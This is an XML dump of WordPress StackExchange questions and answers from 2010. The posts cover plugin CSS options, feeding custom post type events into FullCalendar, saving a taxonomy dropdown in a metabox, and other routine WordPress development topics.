  <row Id="1445" PostTypeId="1" AcceptedAnswerId="1472" CreationDate="2010-09-07T04:11:12.800" Score="3" ViewCount="622" Body="&lt;p&gt;I recently released a plugin, &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-coda-slider/&quot; rel=&quot;nofollow&quot;&gt;WP Coda Slider&lt;/a&gt;, that uses shortcodes to add a jQuery slider to any post or page.  I am adding an options page in the next version and I would like to include some CSS options but I don't want the plugin to add the style choices as inline CSS.  I want the choices to be dynamically added to the CSS file when it's called.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like to avoid using fopen or writing to a file for security issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is something like this easy to accomplish or would I be better off just adding the style choices directly to the page?&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-09-07T21:44:44.510" LastActivityDate="2010-09-07T21:44:44.510" Title="How do I add CSS options to my plugin without using inline styles?" Tags="&lt;plugin-development&gt;&lt;css&gt;&lt;options&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="6" />
  <row Id="1447" PostTypeId="1" AcceptedAnswerId="1451" CreationDate="2010-09-07T05:49:39.413" Score="1" ViewCount="888" Body="&lt;p&gt;Here is a question I have spent over 3 hours attempting to solve but each approach I take ends up not working out for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I am attempting to do is utilize this opensource ajax calendar script:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://arshaw.com/fullcalendar/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;FullCalendar&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and have the entries display all posts within a specific post type. For each of the posts within this event post type I have a custom metabox with the following custom fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;event category&lt;/li&gt;&#xA;&lt;li&gt;event start date&lt;/li&gt;&#xA;&lt;li&gt;event start time&lt;/li&gt;&#xA;&lt;li&gt;event end date&lt;/li&gt;&#xA;&lt;li&gt;event end time&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At the most basic level I just need each post to show up within the applicable calendar box based on the &quot;event start date&quot; and &quot;event start time&quot; and link to the applicable event post details page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an ideal situation I was looking to have each event category with its own color and have each event span multiple days if the applicable event has an &lt;code&gt;&quot;event_end_date&quot;&lt;/code&gt; that is different than the start date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done this before and can past the applicable code to get either of these in place. I feel this would be highly valuable to the WordPress community as well.&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-07T06:38:55.037" LastActivityDate="2011-01-27T00:57:23.107" Title="Loading Custom Post Type Events into jQuery-based FullCalendar?" Tags="&lt;custom-post-types&gt;&lt;events&gt;&lt;query-posts&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="1448" PostTypeId="2" ParentId="1444" CreationDate="2010-09-07T06:11:24.743" Score="0" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;suppress_errors()&lt;/code&gt; hides errors during the database bootstrapping&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;hide_errors()&lt;/code&gt; hides SQL errors&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-07T06:11:24.743" CommentCount="2" />
  <row Id="1449" PostTypeId="1" AcceptedAnswerId="1916" CreationDate="2010-09-07T06:16:43.170" Score="1" ViewCount="1954" Body="&lt;p&gt;My goal was simple --- to create a custom post type with a custom metabox with a simple drop down list of taxonomy terms instead of utilizing the tags or checkboxes. The reason was to ensure that the editor can only select a single term from the taxonomy list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After trial and error I finally managed to figure out a way to utilize the excellent metabox creation tools I am using from WP-Alchemy (http://farinspace.com/wpalchemy-metabox/) to create my metabox and have it display the applicable terms in a dropdown list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I am having is that I can't seem to get a new selection from the dropdown menu to save the selected value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear... its important that only a single term be associated with each post in this custom post type meaning that whenever a different value is select from the dropdown menu and the post is saved it needs to ensure the previous selection is unregistered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned I currently have it displaying the list of terms in a dropdown and I also have it correctly displaying whatever term might be associated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just the saving of the new values is where i am having issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From extensive research it &quot;seems&quot; like the solution involves using the wordpress &quot;wp_set_post_terms&quot; functions which is further explained here:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_set_post_terms&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_set_post_terms&lt;/a&gt;&#xA;However I am unsure how to utilize it correctly to achieve my desired result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below I have include the code I am utilizing. It's very possible there is a better way of doing this and I would appreciate whatever suggestions you guys might have might also ensure that the applicable &quot;checks&quot; are being done to ensure data can't be inserted by users that are not authorized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FUNCTIONS.PHP FILE (SHOWS THE CREATION OF THE CUSTOM POST TYPE AND TAXONOMY BELOW.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//////////////////////////////////////////////////////////////////////////////&#xA;// CUSTOM POSTTYPE FOR -- SERVICES  &#xA;//////////////////////////////////////////////////////////////////////////////&#xA;&#xA;add_action('init', 'services');&#xA;function services() {&#xA; register_post_type('services', array(&#xA;  'labels' =&amp;gt; array(&#xA;   'name'   =&amp;gt; __('Services'),&#xA;   'singular_label'  =&amp;gt; __('Service'),&#xA;   'new_item'   =&amp;gt; __('Add a Service'),&#xA;   'add_new'   =&amp;gt; __('Add a Service'),&#xA;   'add_new_item'  =&amp;gt; __('Add a Service'),&#xA;   'edit'   =&amp;gt; __('Edit Service'),&#xA;   'edit_item'   =&amp;gt; __('Edit Service'),&#xA;   'view'   =&amp;gt; __('View Service'),&#xA;   'view_item'   =&amp;gt; __('View Service'),&#xA;   'search_items'  =&amp;gt; __('Search Services'),&#xA;   'not_found'   =&amp;gt; __('No Services Found'),&#xA;   'not_found_in_trash' =&amp;gt; __('No Services Found in Trash'),&#xA;       'parent_item'  =&amp;gt; __('Parent Service'),&#xA;   'parent_item_colon' =&amp;gt; __('Parent Service:')&#xA;   ),&#xA;  'can_export'    =&amp;gt; true,&#xA;  'menu_position'   =&amp;gt; 7,&#xA;  'public'    =&amp;gt; false,&#xA;  'show_ui'    =&amp;gt; true,&#xA;  'publicly_queryable'  =&amp;gt; true,&#xA;  'hierarchical'   =&amp;gt; true,&#xA;  'query_var'    =&amp;gt; true,&#xA;  'capability_type'   =&amp;gt; 'post',&#xA;  'exclude_from_search'  =&amp;gt; false,&#xA;  'supports' =&amp;gt; array(&#xA;   'title',&#xA;   'editor',&#xA;   'revisions',&#xA;   'page-attributes'&#xA;   ),&#xA;  'rewrite' =&amp;gt; array( &#xA;   'slug'   =&amp;gt; 'disability-services', &#xA;   'with_front'   =&amp;gt; false&#xA;   )&#xA; ));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HERE IS WHERE I AM REGISTERING THE TAXONOMY I AM TRYING TO WORK WITH&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// CUSTOM TAXONOMY METABOX POSTTYPE - AGE GROUPS&#xA;   register_taxonomy('theme', array('services'), array(&#xA;    'hierarchical'          =&amp;gt; false, &#xA;    'singular_label'            =&amp;gt; 'Age Group', &#xA;    'query_var'                 =&amp;gt; 'theme',&#xA;    'public'                =&amp;gt; true,&#xA;    'show_ui'               =&amp;gt; true,&#xA;    'show_tagcloud'             =&amp;gt; false,&#xA;    'show_in_nav_menus'             =&amp;gt; true,    &#xA;    'rewrite'               =&amp;gt; array( 'slug' =&amp;gt; 'age-groups', 'with_front' =&amp;gt; false ),&#xA;    'labels' =&amp;gt; array(&#xA;        'name'          =&amp;gt; __( 'Age Groups' ),&#xA;        'singular_name'         =&amp;gt; __( 'Age Groups' ),&#xA;        'search_items'      =&amp;gt; __( 'Search Age Groups' ),&#xA;        'all_items'             =&amp;gt; __( 'All Age Groups' ),&#xA;        'parent_item'       =&amp;gt; __( 'Parent Age Group' ),&#xA;        'parent_item_colon'         =&amp;gt; __( 'Parent Age Group:' ),&#xA;        'edit_item'             =&amp;gt; __( 'Edit Age Group' ), &#xA;        'update_item'       =&amp;gt; __( 'Update Age Group' ),&#xA;        'add_new_item'      =&amp;gt; __( 'Add Age Group' ),&#xA;        'new_item_name'         =&amp;gt; __( 'New Name of Age Group' ),&#xA;        'popular_items'         =&amp;gt; __( 'Popular Age Groups' ),&#xA;        'separate_items_with_commas'=&amp;gt; __( 'Separate Age Groups with commas' ),&#xA;        'add_or_remove_items'   =&amp;gt; __( 'Add or remove Age Groups' ),&#xA;        'choose_from_most_used' =&amp;gt; __( 'Select Popular Age Groups' ), &#xA;        ),&#xA;   ));&#xA;   wp_insert_term('Kids', 'theme');&#xA;   wp_insert_term('Teens', 'theme');&#xA;   wp_insert_term('Adults', 'theme');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;THIS IS THE REMAINDER OF THE CODE I AM USING IN THE FUNCTIONS FILE AND THE CODE TO CREATE THE METABOX BASED OFF WPALECHEMY. In this attempt  I tried to include         'save_filter' =&gt; &quot;wp_set_post_terms( $post-&gt;ID, 'theme' )&quot;, with the hope this would save the applicable data but it did not.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// CUSTOM METABOX POSTTYPE - SERVICE DETAILS&#xA;   $custom_metabox_service_details = new WPAlchemy_MetaBox(array (&#xA;    'id'        =&amp;gt; '_service_details-metaboxes',        // underscore prefix hides fields from the custom fields area&#xA;    'title'     =&amp;gt; 'Age Groups',            // title added automatically to the custom metabox&#xA;    'types'     =&amp;gt; array('services'),           // added only for custom post type &quot;name-of-post-type&quot; can also be &quot;page&quot; or &quot;post&quot;&#xA;    'context'   =&amp;gt; 'normal',                    // same as above, defaults to &quot;normal&quot; but can use &quot;advanced&quot; or &quot;side&quot;&#xA;    'priority'  =&amp;gt; 'high',                  // same as above, defaults to &quot;high&quot; but can use &quot;low&quot; as well&#xA;    'mode'  =&amp;gt; WPALCHEMY_MODE_EXTRACT,&#xA;    'save_filter' =&amp;gt; &quot;wp_set_post_terms( $post-&amp;gt;ID, 'theme' )&quot;,&#xA;    'template'  =&amp;gt; TEMPLATEPATH . '/admin-metabox/service_details-metaboxes.php'  // contents for the meta box&#xA;    ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I SHOULD ALSO NOTE THAT DIMAS OVER AT WPALECHMEY JUST ADDED SOME NEW CODE INTO HIS 1.3.2 VERSION OF GITHUB WHICH ALLOWS THE ABOVE CODE TO INCLUDE A &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'save_filter' =&amp;gt; &quot;custom-function&quot;, &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code allows you to create a custom function or I guess call a custom function which gets executed upon hitting the publish button so maybe that is the best way to save the data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, I am utilizing the following code for the custom metabox to display the actual dropdown list displaying the taxonomy terms.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;// This function gets called in edit-form-advanced.php&#xA;echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;taxonomy_noncename&quot; id=&quot;taxonomy_noncename&quot; value=&quot;' . wp_create_nonce( 'taxonomy_theme' ) . '&quot; /&amp;gt;';&#xA;&#xA;// Get all theme taxonomy terms&#xA;$themes = get_terms('theme', 'hide_empty=0'); &#xA;?&amp;gt;&#xA;&#xA;&amp;lt;select name='post_theme' id='post_theme'&amp;gt;&#xA;// DISPLAY TERMS AS DROP DOWN OPTIONS&#xA;&amp;lt;?php $names = wp_get_object_terms($post-&amp;gt;ID, 'theme'); ?&amp;gt;&#xA;&amp;lt;option class='theme-option' value='' &amp;lt;?php if (!count($names)) echo &quot;selected&quot;;?&amp;gt;&amp;gt;None&amp;lt;/option&amp;gt;&#xA;&amp;lt;?php foreach ($themes as $theme) {&#xA; if (!is_wp_error($names) &amp;amp;&amp;amp; !empty($names) &amp;amp;&amp;amp; !strcmp($theme-&amp;gt;slug, $names[0]-&amp;gt;slug)) &#xA; echo &quot;&amp;lt;option class='theme-option' value='&quot; . $theme-&amp;gt;slug . &quot;' selected&amp;gt;&quot; . $theme-&amp;gt;name . &quot;&amp;lt;/option&amp;gt;\n&quot;; &#xA; else&#xA; echo &quot;&amp;lt;option class='theme-option' value='&quot; . $theme-&amp;gt;slug . &quot;'&amp;gt;&quot; . $theme-&amp;gt;name . &quot;&amp;lt;/option&amp;gt;\n&quot;; &#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am assuming saving the data should be simple as pie but I guess I am confusing myself on how to accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned I would appreciate if you could also provide suggestions on the code to ensure any necessary checks are done to ensure data is saved correctly and only be the correctly authorized people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Must thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2010-09-07T10:33:25.193" LastActivityDate="2010-09-17T07:17:47.423" Title="Custom Metabox with Taxonomy Dropdown - Saving Issue" Tags="&lt;custom-post-types&gt;&lt;wp-admin&gt;&lt;taxonomy&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="1450" PostTypeId="1" AcceptedAnswerId="1452" CreationDate="2010-09-07T06:21:15.657" Score="0" ViewCount="115" Body="&lt;p&gt;Okay I know the title is pretty vague but I didn't know how to articulate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want a plugin that sends email notifications to users who opted-in &lt;strong&gt;only if&lt;/strong&gt; they specifically got replied to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress has its built-in functionality for comment threading/replying, so instead of bombarding the user with emails each time a new comment is posted on a post they've subscribed to, I'd like to give them the option to only be notified when they specifically get replied to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can develop this myself if need be, in fact, a preliminary search yielding no results seems to point at this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, what hooks would I take a look at? Looking at other notifier plugins, I see they make use of &lt;code&gt;comment_post&lt;/code&gt; and others which I can come up with myself. More specifically, how would I go about knowing if user x got a direct reply?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand how the subscription system and all of that would work, my only concern is how to tell if a subscribed user received a direct reply through the built-in commenting system.&lt;/p&gt;&#xA;" OwnerUserId="113" LastEditorUserId="1521" LastEditorDisplayName="" LastEditDate="2011-02-04T06:52:15.987" LastActivityDate="2011-02-04T06:52:15.987" Title="Hook to See if Comment got a Reply?" Tags="&lt;plugin-recommendation&gt;&lt;plugin-development&gt;&lt;hooks&gt;&lt;comments&gt;" AnswerCount="1" />
  <row Id="1451" PostTypeId="2" ParentId="1447" CreationDate="2010-09-07T06:35:42.423" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;em&gt;@NetConstructor:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FullCalendar&lt;/strong&gt; is a nice find. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks to me like you'll need to write &lt;strong&gt;a shortcode&lt;/strong&gt; (which I show how to do here):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/733/adding-an-archive-of-posts-to-the-navigation-menu-in-wordpress-3-0/772#772&quot;&gt;&lt;strong&gt;Adding an Archive of Posts to the Navigation Menu in WordPress 3.0&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And then &lt;a href=&quot;http://arshaw.com/fullcalendar/docs/usage/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;generate the code to call the FullCalendar within the shortcode&lt;/strong&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that you'll need to write code to generate a Javascript array or have it references a JSON feed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://arshaw.com/fullcalendar/docs/event_data/events_array/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Full Calendar Events &lt;em&gt;(as an array)&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://arshaw.com/fullcalendar/docs/event_data/events_json_feed/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Full Calendar Events &lt;em&gt;(as an json feed)&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's code you can put into a standalone &lt;code&gt;.PHP&lt;/code&gt; file which you could call &lt;code&gt;/fullcalendar-json-feed.php&lt;/code&gt; or whatever you like. The code queries a custom post types called &lt;code&gt;event&lt;/code&gt; which will run in the root directory of your website and will generate a JSON feed and it assumes you've got some &lt;a href=&quot;http://arshaw.com/fullcalendar/docs/event_data/events_array/&quot; rel=&quot;nofollow&quot;&gt;custom fields needed to populate the array/feed&lt;/a&gt;. &lt;em&gt;(I'm going to leave the rest of the query and custom field details to you. &lt;strong&gt;Note&lt;/strong&gt; I didn't actually test this with FullCalendar so it might take a bit of tweaking)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;* See: http://wordpress.stackexchange.com/questions/1447/&#xA;*&#xA;*/&#xA;include &quot;wp-load.php&quot;;&#xA;global $wpdb;&#xA;header('Content-Type:application/json');&#xA;$events = array();&#xA;$result = new WP_Query('post_type=event&amp;amp;posts_per_page=-1');&#xA;foreach($result-&amp;gt;posts as $post) {&#xA;  $events[] = array(&#xA;    'title'   =&amp;gt; $post-&amp;gt;post_title,&#xA;    'start'   =&amp;gt; get_post_meta($post-&amp;gt;ID,'_start_datetime',true),&#xA;    'end'     =&amp;gt; get_post_meta($post-&amp;gt;ID,'_end_datetime',true),&#xA;    'allDay'  =&amp;gt; (get_post_meta($post-&amp;gt;ID,'_all_day',true) ? 'true' : 'false'),&#xA;    );&#xA;}&#xA;echo json_encode($events);&#xA;exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can generate the array option with very similar code to that above. Still, this is going to take a bit of coding for you to get right. Maybe you just want to use a solution that's already built? Here's a Q&amp;amp;A discussion about calendars for WordPress:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1155/recommendation-for-a-wordpress-calendar-plugin-with-recurring-events/&quot;&gt;&lt;strong&gt;Recommendation for a WordPress Calendar Plugin with Recurring Events?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-07T06:35:42.423" CommentCount="3" />
  <row Id="1452" PostTypeId="2" ParentId="1450" CreationDate="2010-09-07T06:38:35.007" Score="1" ViewCount="" Body="&lt;p&gt;I figured it out. Each comment row in the &lt;code&gt;wp_comments&lt;/code&gt; table has a field named &lt;code&gt;comment_parent&lt;/code&gt; which stores the &lt;code&gt;comment_ID&lt;/code&gt; of the parent comment. If the comment has no parent, then the default is 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess on each comment post I would check the database for the posted comment's parent, and if it matched the comment of a subscriber, notify him or her.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds like a plan.&lt;/p&gt;&#xA;" OwnerUserId="113" LastActivityDate="2010-09-07T06:38:35.007" />
  <row Id="1453" PostTypeId="1" CreationDate="2010-09-07T07:10:25.343" Score="1" ViewCount="38" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1293/seaweed-plugin-not-working&quot;&gt;Seaweed Plugin not working&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I have activate Seaweed &lt;a href=&quot;http://wordpress.org/extend/plugins/seaweed/&quot; rel=&quot;nofollow&quot;&gt;plugin&lt;/a&gt; after reading this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1293/seaweed-plugin-not-working&quot;&gt;question&lt;/a&gt; .I have installed Seaweed .It seems working to edit the content or formatting the old posts.But I am getting the same problem when saving it.I can able to edit the content .But the changes are not taking any affect .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have activated it on two of my wordpress sites .&lt;strong&gt;One is with lot of plugins and themes.The other is a fresh Installation.&lt;/strong&gt; (I wanted to write this as comment to Hakre's &lt;a href=&quot;http://wordpress.stackexchange.com/posts/1334/revisions&quot;&gt;answer&lt;/a&gt;.But I am unable to comment on @user391's question.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any body other than @user391 implemented it and using successfully?&lt;/p&gt;&#xA;" OwnerUserId="402" LastEditorUserId="402" LastEditorDisplayName="" LastEditDate="2010-09-07T08:44:39.270" LastActivityDate="2010-09-07T08:44:39.270" CommunityOwnedDate="2010-09-07T07:10:25.343" ClosedDate="2010-09-07T13:36:39.210" Title="Unable to Edit the Content Using Seaweed Plugin" Tags="&lt;plugins&gt;&lt;errors&gt;" CommentCount="5" />
  <row Id="1454" PostTypeId="2" ParentId="1445" CreationDate="2010-09-07T07:55:17.703" Score="1" ViewCount="" Body="&lt;p&gt;This is how I usually do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function build_stylesheet_url() {&#xA;    echo '&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;' . $url . 'stylesheetname.css?build=' . date( &quot;Ymd&quot;, strtotime( '-24 days' ) ) . '&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;';&#xA;}&#xA;&#xA;function build_stylesheet_content() {&#xA;    if( isset( $_GET['build'] ) &amp;amp;&amp;amp; addslashes( $_GET['build'] ) == date( &quot;Ymd&quot;, strtotime( '-24 days' ) ) ) {&#xA;        header(&quot;Content-type: text/css&quot;);&#xA;        echo &quot;/* Something */&quot;;&#xA;        define( 'DONOTCACHEPAGE', 1 ); // don't let wp-super-cache cache this page.&#xA;        die();&#xA;    }&#xA;}&#xA;&#xA;add_action( 'init', 'build_stylesheet_content' );&#xA;add_action( 'wp_head', 'build_stylesheet_url' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-07T07:55:17.703" CommentCount="1" />
  <row Id="1455" PostTypeId="2" ParentId="1400" CreationDate="2010-09-07T08:24:41.137" Score="0" ViewCount="" Body="&lt;p&gt;Well that's the hard way to do it, the easy way is just click the not spam button a couple of times so google will remind your address is not spam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're doing an email marketing, then it'll be a problem if your email address are marked as spam, but if your email is just used as a contact mail from wp, then simple solution is just fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had this problem a couple of times, the not spam button work ok for me&lt;/p&gt;&#xA;" LastActivityDate="2010-09-07T08:24:41.137" />
  <row Id="1456" PostTypeId="1" AcceptedAnswerId="1465" CreationDate="2010-09-07T08:41:11.003" Score="2" ViewCount="551" Body="&lt;p&gt;I want a multi site WordPress website to make a wedding website in which the users can make their accounts for their websites, how will this actually be done in WordPress?&lt;/p&gt;&#xA;" OwnerUserId="732" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-08T00:14:08.407" LastActivityDate="2010-09-08T00:35:52.397" Title="Setting up a Multisite WordPress for Wedding Websites?" Tags="&lt;3.0&gt;&lt;plugin-recommendation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" />
  <row Id="1457" PostTypeId="1" AcceptedAnswerId="1461" CreationDate="2010-09-07T09:17:10.277" Score="2" ViewCount="174" Body="&lt;p&gt;Hay, I've installed WordPress 3 on my server, and duplicated the stock theme and made some amends to it. However, when i add a post, i don't see an option to add a 'featured image'. Has this featured been removed? How do i reactivate it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2010-09-07T10:22:25.870" Title="No option to add a 'featured image' in my wordpress installation" Tags="&lt;3.0&gt;&lt;features&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="1458" PostTypeId="1" CreationDate="2010-09-07T09:22:43.673" Score="0" ViewCount="43" Body="&lt;p&gt;I have been working on a plugin of wordpress, in which i save the last reading position, the width and height of the browser at the time of closing the browser, I save the width and height with jquery  height=$(window).height();  width=$(window).width(); and save the values in database so  that when the page is loaded next time, the values are retrieved from database and the screen is scrolled to last reading position and the window get resized to the saved values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem that i m getting is that the window resizes to a very less value and window gets smaller, the jquery methods  height=$(window).height(); width=$(window).width(); are saving lesser values, can anybody help me out in this?&lt;/p&gt;&#xA;" OwnerUserId="732" LastActivityDate="2010-09-07T22:01:56.113" Title="window resizing problem" Tags="&lt;3.0&gt;&lt;javascript&gt;&lt;jquery&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="1459" PostTypeId="1" AcceptedAnswerId="1495" CreationDate="2010-09-07T09:31:43.927" Score="2" ViewCount="360" Body="&lt;p&gt;Post and page guids include the full absolute URL of my site (e.g. &lt;a href=&quot;http://www.example.com/wordpress/?p=1&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/wordpress/?p=1&lt;/a&gt;). This causes a problem if the domain, or wordpress path changes, or if I'm viewing the site via its IP address rather its domain, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem 1: there are some internal links on my site that are using the guid. I'm guessing this is &lt;em&gt;wrong&lt;/em&gt; and I should rewrite the template code to remove references to the guid - correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem 2: images are inserted into a post using their absolute URL, rather than a relative one. This seems short-sighted, but I'm wondering if there's a reasonable reason for that. Is there a way to change that behaviour?&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2011-05-06T05:19:38.063" Title="Problem with guids and absolute links" Tags="&lt;urls&gt;&lt;guids&gt;&lt;linking&gt;" AnswerCount="4" />
  <row Id="1460" PostTypeId="2" ParentId="1457" CreationDate="2010-09-07T10:20:24.490" Score="0" ViewCount="" Body="&lt;p&gt;It's in 3. When you have a post or a page open, in a two-column view, it's on the right, down a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not there, you might see if the option to display it is unchecked in your screen options (upper right corner).&lt;/p&gt;&#xA;" OwnerUserId="319" LastActivityDate="2010-09-07T10:20:24.490" />
  <row Id="1461" PostTypeId="2" ParentId="1457" CreationDate="2010-09-07T10:22:25.870" Score="4" ViewCount="" Body="&lt;p&gt;Your theme must &lt;a href=&quot;http://codex.wordpress.org/Post_Thumbnails&quot; rel=&quot;nofollow&quot;&gt;indicate that it supports post thumbnails&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists('add_theme_support') ) {&#xA;  add_theme_support('post-thumbnails');&#xA;  // If not the standard size, state your size too&#xA;  set_post_thumbnail_size( 200, 200, false );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-09-07T10:22:25.870" />
  <row Id="1462" PostTypeId="2" ParentId="1459" CreationDate="2010-09-07T10:31:44.213" Score="1" ViewCount="" Body="&lt;p&gt;Problem 1: Yes, you should not use the guid in the template code. See this recent thread from the wp-hackers mailing-list:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2010-September/034559.html&quot; rel=&quot;nofollow&quot;&gt;http://lists.automattic.com/pipermail/wp-hackers/2010-September/034559.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem 2: This question is actually one of the most discussed. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2010-September/034652.html&quot; rel=&quot;nofollow&quot;&gt;http://lists.automattic.com/pipermail/wp-hackers/2010-September/034652.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/11394&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/11394&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-07T10:31:44.213" />
